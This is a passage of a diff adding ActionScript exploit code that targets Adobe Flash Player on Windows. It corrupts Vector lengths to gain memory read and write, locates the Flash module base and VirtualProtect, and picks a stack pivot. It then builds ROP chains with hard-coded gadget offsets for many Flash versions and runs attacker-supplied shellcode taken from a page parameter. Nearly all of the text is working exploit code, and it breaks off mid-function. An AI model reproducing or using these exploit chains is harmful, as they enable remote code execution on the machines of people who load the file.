for (i=0; i < this.s.length; i++)
|
||||||
|
{
|
||||||
|
if (this.s[i].length == 0x3FFFFFFF)
|
||||||
|
{
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Corrupt next vector size
|
||||||
|
*/
|
||||||
|
public function corruptNextVector(index:uint):uint
|
||||||
|
{
|
||||||
|
var j:uint = 0;
|
||||||
|
|
||||||
|
for (j=0; j < this.s.length; j++)
|
||||||
|
{
|
||||||
|
if (this.s[index][j] == 0x000003F0)
|
||||||
|
{
|
||||||
|
this.s[index][j] = 0x3FFFFFFF;
|
||||||
|
|
||||||
|
return j;
|
||||||
|
}
|
||||||
|
|
||||||
|
j = j + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Perform the exploitation
|
||||||
|
* - Find VirtualProtect()
|
||||||
|
* - Find a stack pivot
|
||||||
|
* - Build payload (SP + ROP + SC)
|
||||||
|
* - Run payload
|
||||||
|
*/
|
||||||
|
public function timerHandler(event:TimerEvent):void
|
||||||
|
{
|
||||||
|
var i:int = 0;
|
||||||
|
var j:int = 0;
|
||||||
|
var k:int = 0;
|
||||||
|
|
||||||
|
var vtableobj:int = 0;
|
||||||
|
var peindex:int = 0;
|
||||||
|
var importsindex:int = 0;
|
||||||
|
var k32index:int = 0;
|
||||||
|
var fct_name_offset:uint = 0;
|
||||||
|
var fct_addr_offset:uint = 0;
|
||||||
|
|
||||||
|
var baseflashaddr_off:int = 0; /* Base address of the flash dll */
|
||||||
|
var vp_addr:uint = 0; /* VirtualProtectStub() addr */
|
||||||
|
var stackpivot:uint = 0; /* Stackpivot address */
|
||||||
|
|
||||||
|
var cvaddr:int = 0x1a001000; /* corrupted vector address */
|
||||||
|
var ocxinfo:Array;
|
||||||
|
var i2:uint = 0;
|
||||||
|
|
||||||
|
/* Search the corrupted vector */
|
||||||
|
for (i=0; i < this.s.length; i++)
|
||||||
|
{
|
||||||
|
/* Find corrupted vector */
|
||||||
|
if (this.s[i].length == 0x010003f0)
|
||||||
|
{
|
||||||
|
this.myTimer.stop();
|
||||||
|
|
||||||
|
/* Corrupt next vector size */
|
||||||
|
if (corruptNextVector(i) == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
/* Find corrupted vector */
|
||||||
|
i2 = getCorruptedVectorIndex();
|
||||||
|
if (i2 == 0) return;
|
||||||
|
|
||||||
|
/* Get flash base addr */
|
||||||
|
ocxinfo = getFlashBaseAddr(i2, cvaddr);
|
||||||
|
if (ocxinfo.length == 0) return;
|
||||||
|
baseflashaddr_off = ocxinfo[0];
|
||||||
|
j = ocxinfo[1];
|
||||||
|
k = ocxinfo[2];
|
||||||
|
vtableobj = ocxinfo[3];
|
||||||
|
|
||||||
|
/* Get imports table */
|
||||||
|
peindex = this.s[i2][baseflashaddr_off+0x3C/4];
|
||||||
|
importsindex = this.s[i2][baseflashaddr_off+peindex/4+(0x18+0x60+0x8)/4];
|
||||||
|
|
||||||
|
/* Find kernel32.dll */
|
||||||
|
k32index = getK32Index(i2, baseflashaddr_off, importsindex);
|
||||||
|
if (k32index == 0) return;
|
||||||
|
|
||||||
|
fct_addr_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4+0x10/4];
|
||||||
|
fct_name_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4];
|
||||||
|
|
||||||
|
/* Find VirtualProtectStub() addr */
|
||||||
|
vp_addr = GetVirtualProtectStubAddr(i2, baseflashaddr_off, fct_addr_offset, fct_name_offset);
|
||||||
|
if (vp_addr == 0) return;
|
||||||
|
|
||||||
|
/* Search Stack Pivot */
|
||||||
|
stackpivot = getSP(baseflashaddr_off, i2, vtableobj-k);
|
||||||
|
if (stackpivot == 0) return;
|
||||||
|
|
||||||
|
/* Build Payload */
|
||||||
|
buildPayload(baseflashaddr_off, i2, j, cvaddr, vp_addr, stackpivot);
|
||||||
|
|
||||||
|
/* Run Payload */
|
||||||
|
this.sound.toString();
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,797 @@
|
||||||
|
//Compile with mxmlc Vickers.as -o Vickers.swf
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.display.Sprite;
|
||||||
|
import flash.system.Capabilities;
|
||||||
|
import flash.utils.ByteArray;
|
||||||
|
import __AS3__.vec.Vector;
|
||||||
|
import flash.system.ApplicationDomain;
|
||||||
|
import avm2.intrinsics.memory.*;
|
||||||
|
|
||||||
|
public class Vickers extends Sprite
|
||||||
|
{
|
||||||
|
|
||||||
|
public static var shellcode:String;
|
||||||
|
|
||||||
|
public function Vickers()
|
||||||
|
{
|
||||||
|
var params = root.loaderInfo.parameters;
|
||||||
|
shellcode = params["id"];
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
if (exploit()) break;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public function makePayload(vftableAddr:*, scAddr:*):ByteArray
|
||||||
|
{
|
||||||
|
var payload = null;
|
||||||
|
switch (Capabilities.os.toLowerCase())
|
||||||
|
{
|
||||||
|
case "windows xp":
|
||||||
|
case "windows vista":
|
||||||
|
case "windows server 2003 r2":
|
||||||
|
case "windows server 2003":
|
||||||
|
case "windows 7":
|
||||||
|
case "windows 7 x64":
|
||||||
|
case "windows server 2008 r2":
|
||||||
|
case "windows server 2008":
|
||||||
|
payload = makePayloadWinOther(vftableAddr, scAddr);
|
||||||
|
break;
|
||||||
|
case "windows 8":
|
||||||
|
case "windows 8 x64":
|
||||||
|
payload = makePayloadWin8(vftableAddr, scAddr);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
return (null);
|
||||||
|
};
|
||||||
|
return (payload);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function makePayloadWin8(vftableAddr:*, scAddr:*):ByteArray
|
||||||
|
{
|
||||||
|
var flash_base:uint = vftableAddr;
|
||||||
|
var flash_end:uint;
|
||||||
|
var rop_payload:ByteArray = new ByteArray();
|
||||||
|
rop_payload.position = 0;
|
||||||
|
rop_payload.endian = "littleEndian";
|
||||||
|
rop_payload.writeUnsignedInt((scAddr + 4));
|
||||||
|
switch (Capabilities.version.toLowerCase())
|
||||||
|
{
|
||||||
|
case "win 11,3,372,94":
|
||||||
|
flash_base = (flash_base - 9518744);
|
||||||
|
flash_end = (flash_base + 0xB10000);
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 0x401404)); // add esp, 0x44; ret
|
||||||
|
rop_payload.position = 64;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 0x26525)); // xchg eax, esp; ret
|
||||||
|
rop_payload.position = 76;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 0x10c5)); // pop eax; ret
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 0x817420)); // ptr to KERNEL32!VirtualProtectStub
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 0x9e16)); // mov eax, dword ptr [eax]; ret
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 0xcc022)); // push eax; ret
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 0x3157c)); // jmp esp ; ret after VirtualProtect
|
||||||
|
rop_payload.writeUnsignedInt(scAddr);
|
||||||
|
rop_payload.writeUnsignedInt(0x1000);
|
||||||
|
rop_payload.writeUnsignedInt(0x40);
|
||||||
|
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,3,375,10":
|
||||||
|
flash_base = (flash_base - 9589392);
|
||||||
|
flash_end = (flash_base + 0xB15000);
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4220004));
|
||||||
|
rop_payload.position = 64;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 142215));
|
||||||
|
rop_payload.position = 76;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 8504352));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 40214));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 840082));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 202134));
|
||||||
|
rop_payload.writeUnsignedInt(scAddr);
|
||||||
|
rop_payload.writeUnsignedInt(0x1000);
|
||||||
|
rop_payload.writeUnsignedInt(64);
|
||||||
|
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,3,376,12":
|
||||||
|
flash_base = (flash_base - 9593552);
|
||||||
|
flash_end = (flash_base + 0xB16000);
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4220740));
|
||||||
|
rop_payload.position = 64;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 142023));
|
||||||
|
rop_payload.position = 76;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 8508448));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 39878));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 839538));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 201958));
|
||||||
|
rop_payload.writeUnsignedInt(scAddr);
|
||||||
|
rop_payload.writeUnsignedInt(0x1000);
|
||||||
|
rop_payload.writeUnsignedInt(64);
|
||||||
|
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,3,377,15":
|
||||||
|
flash_base = (flash_base - 9589576);
|
||||||
|
flash_end = (flash_base + 0xB15000);
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4220388));
|
||||||
|
rop_payload.position = 64;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 141671));
|
||||||
|
rop_payload.position = 76;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 8504352));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 39526));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 839698));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 201590));
|
||||||
|
rop_payload.writeUnsignedInt(scAddr);
|
||||||
|
rop_payload.writeUnsignedInt(0x1000);
|
||||||
|
rop_payload.writeUnsignedInt(64);
|
||||||
|
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,3,378,5":
|
||||||
|
flash_base = (flash_base - 9589448);
|
||||||
|
flash_end = (flash_base + 0xB15000);
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4220388));
|
||||||
|
rop_payload.position = 64;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 141671));
|
||||||
|
rop_payload.position = 76;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 8504352));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 39526));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 839698));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 201590));
|
||||||
|
rop_payload.writeUnsignedInt(scAddr);
|
||||||
|
rop_payload.writeUnsignedInt(0x1000);
|
||||||
|
rop_payload.writeUnsignedInt(64);
|
||||||
|
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,3,379,14":
|
||||||
|
flash_base = (flash_base - 9597856);
|
||||||
|
flash_end = (flash_base + 0xB17000);
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4575113));
|
||||||
|
rop_payload.position = 64;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 6617808));
|
||||||
|
rop_payload.position = 76;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 8149060));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 8512544));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4907562));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 8147977));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4046601));
|
||||||
|
rop_payload.writeUnsignedInt(scAddr);
|
||||||
|
rop_payload.writeUnsignedInt(0x1000);
|
||||||
|
rop_payload.writeUnsignedInt(64);
|
||||||
|
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,6,602,167":
|
||||||
|
flash_base = (flash_base - 9821704);
|
||||||
|
flash_end = (flash_base + 0xB85000);
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 8405950));
|
||||||
|
rop_payload.position = 64;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 27456));
|
||||||
|
rop_payload.position = 76;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 8791088));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 73494));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 1115794));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 242790));
|
||||||
|
rop_payload.writeUnsignedInt(scAddr);
|
||||||
|
rop_payload.writeUnsignedInt(0x1000);
|
||||||
|
rop_payload.writeUnsignedInt(64);
|
||||||
|
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,6,602,171":
|
||||||
|
flash_base = (flash_base - 9821904);
|
||||||
|
flash_end = (flash_base + 0xB85000);
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 8406414));
|
||||||
|
rop_payload.position = 64;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 27456));
|
||||||
|
rop_payload.position = 76;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 8791088));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 73078));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 1116754));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 242380));
|
||||||
|
rop_payload.writeUnsignedInt(scAddr);
|
||||||
|
rop_payload.writeUnsignedInt(0x1000);
|
||||||
|
rop_payload.writeUnsignedInt(64);
|
||||||
|
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,6,602,180":
|
||||||
|
flash_base = (flash_base - 9816600);
|
||||||
|
flash_end = (flash_base + 0xB84000);
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 8404478));
|
||||||
|
rop_payload.position = 64;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 29514));
|
||||||
|
rop_payload.position = 76;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 8786992));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 69382));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 175197));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 238732));
|
||||||
|
rop_payload.writeUnsignedInt(scAddr);
|
||||||
|
rop_payload.writeUnsignedInt(0x1000);
|
||||||
|
rop_payload.writeUnsignedInt(64);
|
||||||
|
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,7,700,169":
|
||||||
|
flash_base = (flash_base - 10441412);
|
||||||
|
flash_end = (flash_base + 0xC45000);
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4640769));
|
||||||
|
rop_payload.position = 64;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 53338));
|
||||||
|
rop_payload.position = 76;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 9368732));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 95414));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 1145506));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 2156132));
|
||||||
|
rop_payload.writeUnsignedInt(scAddr);
|
||||||
|
rop_payload.writeUnsignedInt(0x1000);
|
||||||
|
rop_payload.writeUnsignedInt(64);
|
||||||
|
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,7,700,202":
|
||||||
|
flash_base = (flash_base - 0x9f5470);
|
||||||
|
flash_end = (flash_base + 0xC45000);
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 0x46c361));
|
||||||
|
rop_payload.position = 64;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 0xcc5a));
|
||||||
|
rop_payload.position = 76;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 0x10c5));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 0x8ef49c));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 0x17136));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 0x42f0));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 0x40664));
|
||||||
|
rop_payload.writeUnsignedInt(scAddr);
|
||||||
|
rop_payload.writeUnsignedInt(0x1000);
|
||||||
|
rop_payload.writeUnsignedInt(64);
|
||||||
|
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,7,700,224":
|
||||||
|
flash_base = (flash_base - 10450228);
|
||||||
|
flash_end = (flash_base + 0xC7A000);
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4646881));
|
||||||
|
rop_payload.position = 64;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 52090));
|
||||||
|
rop_payload.position = 76;
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 9376924));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 93510));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 1145378));
|
||||||
|
rop_payload.writeUnsignedInt((flash_base + 1909483));
|
||||||
|
rop_payload.writeUnsignedInt(scAddr);
|
||||||
|
rop_payload.writeUnsignedInt(0x1000);
|
||||||
|
rop_payload.writeUnsignedInt(64);
|
||||||
|
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
return (null);
|
||||||
|
};
|
||||||
|
return (rop_payload);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function makePayloadWinOther(vftableAddr:*, scAddr:*):ByteArray
|
||||||
|
{
|
||||||
|
var vftableAddr_copy:uint = vftableAddr;
|
||||||
|
var _local_5:uint;
|
||||||
|
var payload:ByteArray = new ByteArray();
|
||||||
|
payload.position = 0;
|
||||||
|
payload.endian = "littleEndian";
|
||||||
|
payload.writeUnsignedInt((scAddr + 4));
|
||||||
|
switch (Capabilities.version.toLowerCase())
|
||||||
|
{
|
||||||
|
case "win 11,0,1,152":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 7628676);
|
||||||
|
_local_5 = (vftableAddr_copy + 0x927000);
|
||||||
|
payload.position = 8;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 1041567));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 1937003));
|
||||||
|
payload.position = 80;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4585805));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 6697912));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2201532));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 3985044));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2764856));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,1,102,55":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 7633040);
|
||||||
|
_local_5 = (vftableAddr_copy + 0x927000);
|
||||||
|
payload.position = 8;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4793772));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 1939267));
|
||||||
|
payload.position = 80;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2297101));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 6702008));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 3976335));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 3516263));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2768033));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,1,102,62":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 7628912);
|
||||||
|
_local_5 = (vftableAddr_copy + 0x927000);
|
||||||
|
payload.position = 8;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4794156));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 1939856));
|
||||||
|
payload.position = 80;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5126527));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 6702008));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2920469));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4454837));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2768325));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,1,102,63":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 7628904);
|
||||||
|
_local_5 = (vftableAddr_copy + 0x927000);
|
||||||
|
payload.position = 8;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4794076));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 1939822));
|
||||||
|
payload.position = 80;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5126435));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 6702008));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2353542));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 3516455));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2768305));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,2,202,228":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 7726032);
|
||||||
|
_local_5 = (vftableAddr_copy + 0x93F000);
|
||||||
|
payload.position = 8;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4947482));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2022234));
|
||||||
|
payload.position = 80;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 6255948));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 6824832));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5021261));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 6176368));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2847152));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,2,202,233":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 7729872);
|
||||||
|
_local_5 = (vftableAddr_copy + 0x93F000);
|
||||||
|
payload.position = 8;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4947594));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2022508));
|
||||||
|
payload.position = 80;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4691374));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 6824832));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4164715));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5837496));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2847021));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,2,202,235":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 7734032);
|
||||||
|
_local_5 = (vftableAddr_copy + 0x940000);
|
||||||
|
payload.position = 8;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4947578));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2022729));
|
||||||
|
payload.position = 80;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5249755));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 6828928));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4261382));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4553024));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2847456));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,3,300,257":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 8232016);
|
||||||
|
_local_5 = (vftableAddr_copy + 0x9C3000);
|
||||||
|
payload.position = 8;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5328586));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2069614));
|
||||||
|
payload.position = 80;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 6497300));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 7222148));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5022322));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 4972967));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 3071572));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,3,300,273":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 8236216);
|
||||||
|
_local_5 = (vftableAddr_copy + 0x9C4000);
|
||||||
|
payload.position = 8;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5331930));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 2070667));
|
||||||
|
payload.position = 80;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 6500737));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 7226252));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5142060));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5127634));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 3074828));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,4,402,278":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 8503560);
|
||||||
|
_local_5 = (vftableAddr_copy + 0xA23000);
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5581452));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 1202409));
|
||||||
|
payload.position = 76;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 6927402));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 7480208));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5373116));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5713520));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 3269652));
|
||||||
|
payload.writeUnsignedInt(scAddr);
|
||||||
|
payload.writeUnsignedInt(0x1000);
|
||||||
|
payload.writeUnsignedInt(64);
|
||||||
|
payload.writeUnsignedInt((scAddr - 4));
|
||||||
|
break;
|
||||||
|
case "win 11,4,402,287":
|
||||||
|
vftableAddr_copy = (vftableAddr_copy - 8507728);
|
||||||
|
_local_5 = (vftableAddr_copy + 0xA24000);
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5582348));
|
||||||
|
payload.position = 64;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 1202841));
|
||||||
|
payload.position = 76;
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 6927143));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 7484304));
|
||||||
|
payload.writeUnsignedInt((vftableAddr_copy + 5481024));
|
||||||
